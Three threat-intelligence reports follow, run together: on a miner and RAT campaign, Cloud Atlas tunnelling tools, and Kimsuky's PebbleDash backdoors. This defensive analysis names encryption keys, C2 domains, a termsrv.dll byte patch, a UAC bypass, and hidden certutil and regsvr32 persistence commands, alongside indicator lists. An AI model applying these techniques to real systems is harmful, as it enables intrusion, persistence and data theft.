The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

• video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
• video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

• Collect information about running processes, administrator groups, and domain controllers.
• Download and execute PowerShell scripts from the C2 server.
• Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

• Creates a Volume Shadow Copy of the C:\ drive.
• Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
• The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

• Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
• Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
• Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

• C:\Windows\ime
• C:\Windows\System32\ime
• C:\Windows\pla
• C:\Windows\inf
• C:\Windows\migration
• C:\Windows\System32\timecontrolsvc
• C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

• Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
• Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
• The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
• For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
• For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
• Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

• result send fail (grammatically incorrect text)
• server request fail (grammatically incorrect text)
• command execute failed (grammatically incorrect text)
• decrytion failed (typos)
• autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

• (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
• (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
• (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
• (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
• (AppleSeed cluster) Use of the m= parameter in C2 communication.
• (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
